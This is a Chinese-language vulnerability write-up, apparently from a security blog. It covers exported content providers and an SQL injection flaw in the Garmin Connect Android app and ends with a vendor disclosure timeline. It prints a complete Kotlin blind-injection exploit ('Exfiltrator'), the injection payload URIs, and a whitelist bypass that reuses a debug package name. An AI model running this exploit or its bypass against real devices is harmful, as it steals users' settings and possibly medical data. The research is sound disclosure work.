深入解析Garmin Connect移动应用中的SQL注入漏洞

本文详细分析了一次针对Garmin Connect安卓应用的渗透测试,通过逆向工程发现其导出的Content Provider存在SQL注入漏洞,并利用此漏洞成功窃取了包含敏感用户设置的JSON数据。文章完整呈现了漏洞发现、利用代码及厂商修复时间线。

在又一次训练中,我的运动手表完全丢失了GPS信号,这让我忍无可忍。我决定深入研究其固件并定位问题。我找不到固件发布的任何地方。没有下载区,没有公开存档,什么都没有。于是,我改变了策略,转而通过安卓应用入手,希望从那里提取出固件。故事真正从这里开始。

我从查看应用的清单文件开始。也许有些有用的东西就藏在显眼的地方。确实如此。我没花多长时间就发现了一些有趣的东西。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
<provider
    android:name="com.garmin.android.apps.connectmobile.contentprovider.DevicesProvider"
    android:protectionLevel="signature"
    android:enabled="true"
    android:exported="true"
    android:authorities="com.garmin.android.apps.connectmobile.contentprovider.devices"/>
<provider
    android:name="com.garmin.android.apps.connectmobile.contentprovider.SSOProvider"
    android:protectionLevel="signature"
    android:enabled="true"
    android:exported="true"
    android:authorities="com.garmin.android.apps.connectmobile.contentprovider.sso"/>

我注意到两个导出的内容提供者(Content Provider)带有一个奇怪的标志 android:protectionLevel="signature"。这为什么有趣?因为根据官方文档,提供者并没有这样的标志。这表明开发者对这些组件的安全性有错误的假设,实际上将它们暴露给了任何调用者,而不是将访问权限限制在同一个生态系统内的应用。

SSOProvider

首先,我分析了SSOProvider,它返回的数据立刻引起了我的注意:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public class SSOProvider extends ContentProvider {
    public static Bundle m8137a() {
        ...
        Bundle bundle = new Bundle(5);
        bundle.putString("serverEnvironment", GCMSettingManager.m9390s().f125010a.name());
        bundle.putLong("userProfileID", userProfilePk);
        bundle.putString("connectUserToken", mo29850g.f250a);
        bundle.putString("connectUserSecret", str);
        bundle.putString("userName", GCMSettingManager.m9349D());
        return bundle;
    }
    ...
    @Override
    public final Bundle call(String str, String str2, Bundle bundle) {
        if (TextUtils.isEmpty(str)) {
            return null;
        }
        if (!"getSignedInUserInfo".equals(str)) {
            h2.m8516g("SSOProvider", "Fix me developer, I am not handling methodToCall " + str);
            return null;
        }
        try {
            return m8137a();
        } catch (ExceptionInInitializerError e12) {
            h2.C5191a.m8520d("SSOProvider", "Exception in SSOProvider calling getSignedInUserInfo(): " + e12.getMessage());
            return null;
        }
    }
}

从反编译的提供者代码来看,很明显,检索用户数据需要调用 getSignedInUserInfo 方法。没有额外的限制。任何应用都可以请求这些数据。我使用 adb 检查提供者是否真的暴露了它声称的数据,或者这些字段是否已过时且为空。登录应用后,我调用了 getSignedInUserInfo

这看起来很有希望,乍一看似乎可以导致账户接管,但实际上不行。提取的数据不足以获取用户的授权令牌。除了 userToken/userSecret 对之外,你还需要第二对:consumerToken/consumerSecret。这些只能通过注册 Garmin 的开发者计划获得。我无法证实这个理论,因为加入该计划需要 Garmin 对你进行验证。所以实际上,从这个漏洞中你能提取到的最多只是授权用户的电子邮件地址和档案ID。

DevicesProvider

对于这个提供者,事情变得有趣多了。它允许你检索用户已连接设备的信息。你也可以传递一个特定的设备标识符来只获取该设备的详细信息。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
public class DevicesProvider extends ContentProvider implements BaseColumns {

    public static final UriMatcher f23097a;

    static {
        UriMatcher uriMatcher = new UriMatcher(-1);
        f23097a = uriMatcher;
        uriMatcher.addURI("com.garmin.android.apps.connectmobile.contentprovider.devices", "devices/product_nbrs/*", 1);
        uriMatcher.addURI("com.garmin.android.apps.connectmobile.contentprovider.devices", "devices", 2);
        uriMatcher.addURI("com.garmin.android.apps.connectmobile.contentprovider.devices.sdk", "devices/product_nbrs/*", 3);
    }

    public static C37963a m10126a(ArrayList arrayList, boolean z7) {
        ...
        arrayList2.add(new C37964b(interfaceC3736e.mo7425r2(), strMo7391L,
        interfaceC3736e.getPartNumber(),
        interfaceC3736e.getProductNumber(),
        interfaceC3736e.getSoftwareVersion(),
        C3008b.m6553g(interfaceC3736e),
        interfaceC3736e.getDisplayName(),
        interfaceC3736e.mo7410d(), c3735d.f15835c, i12, z7 ? interfaceC3736e.mo7412d3() : null, z7 ? interfaceC3736e.mo7382E2() : null, z7 ? interfaceC3736e.mo7426s() : null, interfaceC3736e.mo7409c()));
            }
        }
        return new C37963a(arrayList2);
    }

    @Override // android.content.ContentProvider
    public final Cursor query(Uri uri, String[] strArr, String str, String[] strArr2, String str2) throws Throwable {
        int iMatch = f23097a.match(uri);
        ...
        if (iMatch == 1) {  // /devices/product_nbrs/*
            z7 = true;
        } else {
            if (iMatch == 2) {  // /devices
                return m10126a(C2471p.m5655z(), true);
            }
            if (iMatch != 3) {
                return null;
            }
            z7 = false;
        }
        ...
        String[] strArrSplit = uri.getLastPathSegment().split(",");

        StringBuilder sb2 = new StringBuilder("product_nbr");
        if (strArrSplit.length == 1) {
            sb2.append("='");
            sb2.append(strArrSplit[0]);
            sb2.append("'");
        } else {
            sb2.append(" IN(");
            while (i12 < strArrSplit.length) {
                sb2.append("'");
                sb2.append(strArrSplit[i12]);
                sb2.append("'");
                i12++;
                if (i12 < strArrSplit.length) {
                    sb2.append(",");
                }
            }
            sb2.append(")");
        }
        ...
        cursorQuery = AbstractC19805f.m30561s().query("devices", null, sb2.toString(), null, null, null, "is_connected desc, last_connected_timestamp desc");

        return m10126a(C1046i9.m2940s(arrayList3), z7);
    }
    ...
}

为了便于理解,我对反编译的提供者代码进行了删减和简化。该提供者根据预定义的模式检查提供的 URI,如果匹配,则调用 query 方法。然后该方法决定请求是一次性获取所有数据还是针对特定标识符。还有一个有趣的功能,你可以传递多个用逗号分隔的标识符。这个输入最终会构建发送到数据库的最终 SQL 查询。如果你仔细观察这个查询是如何构建的,问题就会变得显而易见。查询是用 StringBuilder 组装的,并且没有进行消毒,这意味着可能存在 SQL 注入。

一般来说,提供者中的 SQL 注入并不罕见。甚至在系统提供者中也发现了它们,而谷歌并不打算修复。这是为什么?答案很简单。在大多数情况下,提供者背后是一个只有单表(加上服务表)的数据库,或者其余的表只是没人关心的支持表。因此,如果你能从提供者中提取数据并且这些数据有用,这本身就足以确认漏洞的存在。

这次我很幸运。注入被证明确实有用,因为提供者背后的数据库包含几个有价值的表。

例如,json 表保存了用户参数的详细信息,包括可能被视为医疗数据的信息。至此,我已经拥有了攻击所需的一切,于是可以开始着手实际的漏洞利用。

漏洞利用

要访问易受注入攻击的 URI,首先需要设备标识符。获取它很简单。你可以直接运行一个基本请求来列出所有设备。为了清晰起见,我将使用 adb 显示所有中间请求。

使用这个查询,你提取出第一个有用的信息,即产品编号。用户可能连接了多个设备,但这并不影响利用链。接下来的一切都可以应用于任何已连接的设备。拿到设备编号后,你可以向 URI content://com.garmin.android.apps.connectmobile.contentprovider.devices/devices/product_nbrs/2158 发送请求,该请求应返回与上一张截图相同的信息。重要的是要理解,以下查询将在数据库上执行:

1
SELECT * FROM devices WHERE product_nbr='2158' ORDER BY is_connected desc, last_connected_timestamp desc

注入点很明显。如果不是因为这个提供者处理数据库游标数据的方式,这个故事本可以在这里以标准的联合注入(union-based injection)结束。据我观察,它使用了一个包装器,只从响应中提取某些类型的某些字段,并且只返回那个集合。为什么它仍然用 * 查询所有列,对我来说是个谜。我将把基于联合的方法留给纯粹主义者,转而展示使用基于布尔的盲注(boolean-based blind injection)来提取数据。

在利用这个漏洞时,我遇到的不仅是这个问题。还有一个关键要求:查询必须完全避免使用逗号。这个限制是由提供者的以下代码强制执行的:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
String[] strArrSplit = uri.getLastPathSegment().split(",");

StringBuilder sb2 = new StringBuilder("product_nbr");
if (strArrSplit.length == 1) {
    sb2.append("='");
    sb2.append(strArrSplit[0]);
    sb2.append("'");
} else {
    sb2.append(" IN(");
    while (i12 < strArrSplit.length) {
        sb2.append("'");
        sb2.append(strArrSplit[i12]);
        sb2.append("'");
        i12++;
        if (i12 < strArrSplit.length) {
            sb2.append(",");
        }
    }
    sb2.append(")");
}

这个逻辑允许提供者处理像 content://com.garmin.android.apps.connectmobile.contentprovider.devices/devices/product_nbrs/2158,2159 这样的 URI。然后提供者会将其转换为使用 IN 操作符的查询:

1
SELECT * FROM devices WHERE product_nbr IN('2158','2159') ORDER BY is_connected desc, last_connected_timestamp desc

我们还需要说这增加了不必要的混乱,并使载荷变成了转义噩梦吗?这个限制也影响了数据提取的方式,并缩小了可行技术的列表。最终,用于与提供者通信的基本载荷如下:

1
content://com.garmin.android.apps.connectmobile.contentprovider.devices/devices/product_nbrs/2158' AND (SELECT cached_val LIKE $payload || char(37) ESCAPE '\\' FROM json WHERE concept_name='USER_SETTINGS')--

这个载荷背后的想法是从 json 表中键为 USER_SETTINGS 的记录里逐个字符地提取数据。当你以这种方式访问提供者时,它会触发类似于上面所示的查询。

1
SELECT * FROM devices WHERE product_nbr='2158' AND (SELECT cached_val LIKE '_' || char(58) || char(37) ESCAPE '\' FROM json WHERE concept_name='USER_SETTINGS')

由于查询在 LIKE 操作符中使用了通配符,并将其与正在测试的字符连接起来,因此可以逐渐从目标字段 cached_val 中提取数据。因为该字段包含 JSON,所以 _ 字符也必须被转义,因为它是数据中有效的分隔符。把所有东西放在一起,我们最终得到了以下类,用于对提供者 com.garmin.android.apps.connectmobile.contentprovider.DevicesProvider 执行盲 SQL 注入:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
package com.ptsecurity.garminsqlipoc

import android.annotation.SuppressLint
import android.content.Context
import android.database.Cursor
import android.net.Uri
import android.util.Log
import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.flow.Flow
import kotlinx.coroutines.flow.flow
import kotlinx.coroutines.withContext

class Exfiltrator(private val context: Context) {
    @SuppressLint("Range")
    fun startAttack(): Flow<String> = flow {
        val data = mutableListOf<String>()
        var sequenceIdx = 0
        var productNbr = ""
        var payload: String
        var uri: Uri
        var nextChar: Char

        // Query to extract existing product number
        context.contentResolver.query(
            Uri.parse("content://com.garmin.android.apps.connectmobile.contentprovider.devices/devices"),
            null,
            null,
            null,
            null
        )?.let { cursor ->
            if (cursor.count == 0) {
                return@flow
            }
            cursor.moveToFirst()
            productNbr = cursor.getString(cursor.getColumnIndex("product_nbr"))
        }

        // Series of queries to exfiltrate all user settings
        for (i in 0..1544) {
            if (i % 200 == 0) {
                Log.d(TAG, "Partially extracted data: ${data.joinToString(separator = "")}")
                emit(data.joinToString(separator = ""))
            }

            while (sequenceIdx < OPTIMIZED_SEQUENCE.length) {
                nextChar = OPTIMIZED_SEQUENCE[sequenceIdx]
                payload = "'${"_".repeat(i)}'||${if (nextChar == '_') "'\\'||" else ""}char(${nextChar.code})"

                uri =
                    Uri.parse("content://com.garmin.android.apps.connectmobile.contentprovider.devices/devices/product_nbrs/$productNbr' AND (SELECT cached_val LIKE $payload || char(37) ESCAPE '\\' FROM json WHERE concept_name='USER_SETTINGS')--")

                if (query(uri)) {
                    data.add(nextChar.toString())
                    sequenceIdx = 0
                    break
                }
                sequenceIdx++
            }
        }
        Log.d(TAG, "Exfiltrated data:\n${data.joinToString(separator = "")}")
        emit(data.joinToString(separator = ""))
    }

    private suspend fun query(uri: Uri): Boolean {
        return withContext(Dispatchers.IO) {
            var cursor: Cursor? = null
            try {
                cursor = context.contentResolver.query(uri, null, null, null, null)

                if (cursor != null) {
                    return@withContext cursor.count > 0
                } else {
                    return@withContext false
                }
            } catch (e: SecurityException) {
                Log.e(TAG, "Permission denied accessing ContentProvider", e)
            } catch (e: IllegalArgumentException) {
                Log.e(TAG, "Invalid URI or ContentProvider not found", e)
            } catch (e: Exception) {
                Log.e(TAG, "Error querying ContentProvider", e)
            } finally {
                cursor?.close()
            }

            false
        }
    }

    companion object {
        private const val TAG = "Exfiltrator"

        private const val OPTIMIZED_SEQUENCE = " {\":,._-}[]0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
    }
}

为了让漏洞利用代码简单,我决定不单独实现一个注入来获取提取数据的大小。相反,我把我捕获的大小硬编码为常量 1544。

在漏洞利用运行时,日志显示了对移动应用数据库执行的查询:

此外,漏洞利用本身也会单独写入日志:

为了清晰起见,提取的数据也显示在漏洞利用应用程序的用户界面中:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
class MainActivity : ComponentActivity() {
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        enableEdgeToEdge()
        setContent {
            GarminSQLiPoCTheme {
                Scaffold(modifier = Modifier.fillMaxSize()) { innerPadding ->
                    ExfiltratedData(modifier = Modifier.padding(innerPadding))
                }
            }
        }
    }
}

@SuppressLint("CoroutineCreationDuringComposition")
@Composable
fun ExfiltratedData(modifier: Modifier = Modifier) {
    val context = LocalContext.current
    val exfiltrator = remember { Exfiltrator(context) }
    var extractedData by remember { mutableStateOf("") }

    LaunchedEffect(exfiltrator) {
        exfiltrator.startAttack().collect { data ->
            extractedData = data
        }
    }

    val scrollState = rememberScrollState()

    Column(
        modifier = modifier
            .verticalScroll(scrollState)
            .padding(16.dp)
    ) {
        Text(
            text = "Hello Garmin!\n\n$extractedData",
            modifier = Modifier.padding(8.dp)
        )
    }
}

但故事并未就此结束。 在整理完报告的所有资料后,我意识到我分析的应用程序版本不是最新的。实际上,它落后了整个大版本。上面描述的一切都是在版本 4.73.3 上完成的,而当时最新的公开版本是 5.14。我做了最坏的打算,安装了新版本,并对其运行了漏洞利用。正如你可能猜到的,它没有成功。我不准备放弃,于是将新的二进制文件放入反编译器,开始研究有哪些变化。

首先,他们从提供者中移除了不必要的 android:protectionLevel 标志。然而,提供者仍然被导出,这意味着利用可能仍然可行——或者可能出现新的问题。其次,两个易受攻击的提供者现在都包含一个检查,将调用应用程序的包名与一个白名单进行比较。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
public static boolean m18185a(String str) {
    C21868k.m28483j().getClass();
    JSONArray jSONArray = new JSONArray(C9048i.f39804c.m11180a().f39823b.mo11170h("content_provider_consuming_apps_whitelist"));
    int length = jSONArray.length();
    for (int i10 = 0; i10 < length; i10++) {
        if (C36065r.m52958g(str, jSONArray.getString(i10))) {
            return true;
        }
    }
    return false;
}
...
String callingPackage = getCallingPackage();
c15128a.getClass();
if (C15128a.m18185a(callingPackage) && !TextUtils.isEmpty(str)) {
    // Do dangerous things
}

没有额外的检查。实际上,绕过这个验证只需要将漏洞利用包的名称更改为白名单中的任何标识符。在分析时,白名单看起来是这样的:

1
["com.garmin.android.apps.connectmobile","com.garmin.android.apps.dive","com.garmin.android.apps.explore","com.garmin.android.apps.explore.develop","com.garmin.android.apps.golf","com.garmin.android.apps.messenger","com.garmin.android.apps.virb","com.garmin.android.apps.vivokid","com.garmin.android.driveapp.dezl","com.garmin.android.marine","com.garmin.connectiq","tacx.android","com.garmin.android.apps.gccm","com.garmin.android.apps.shotview","com.garmin.android.apps.shotview.debug","com.garmin.android.apps.shotview.release"]

除了确实存在于 Google Play 上的合法包名之外,我还发现了几个带有 .debug 后缀的应用。这清楚地表明了这是内部调试版本,本不应公开发布。这就产生了一个问题。攻击者可以重用其中一个名称,甚至可以在其下发布一个应用。为了测试,我将漏洞利用包名更改为:com.garmin.android.apps.shotview.debug,并且它毫无问题地运行了。应用程序再次开始显示通过注入提取的数据。这证实了核心漏洞仍然存在,而且工作没有白费。

时间线

27.06.2025 – 向供应商报告了问题,并请求提供一个安全通道来共享技术细节。 04.07.2025 – 供应商回复,确认了接收报告的联络方式,并就加密方法达成一致。 11.07.2025 – 请求更新报告状态。 17.07.2025 – 供应商回复了计划的修复版本和发布日期(8月8日)。 18.07.2025 – 供应商感谢我们的反馈,并询问我们应如何确认作者的贡献。 04.08.2025 – 与供应商协调,确认时间表是否仍然有效。 05.08.2025 – 供应商通知我们,发布时间表已调整到9月。 01.09.2025 – 再次与供应商确认时间表是否仍然有效。 15.09.2025 – 计划的版本发布可用。开始验证修复是否生效。 16.09.2025 – 供应商宣布了一个新的补丁版本和更新的发布日期(10月7日)。 01.10.2025 – 与供应商协调,确认更新的时间表是否仍然有效。 02.10.2025 – 供应商确认发布时间表不会再变动。 03.10.2025 – 讨论了 CVE 注册以及如何确认研究人员的贡献。 05.10.2025 – 供应商报告 CVE 尚未预留,并建议将作者添加到他们的 whitehat-thanks 页面。 09.10.2025 – 通知供应商计划在 PT SWARM 博客上发表此研究。 10.10.2025 – 供应商批准发表,并要求我们在文章上线后分享链接。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计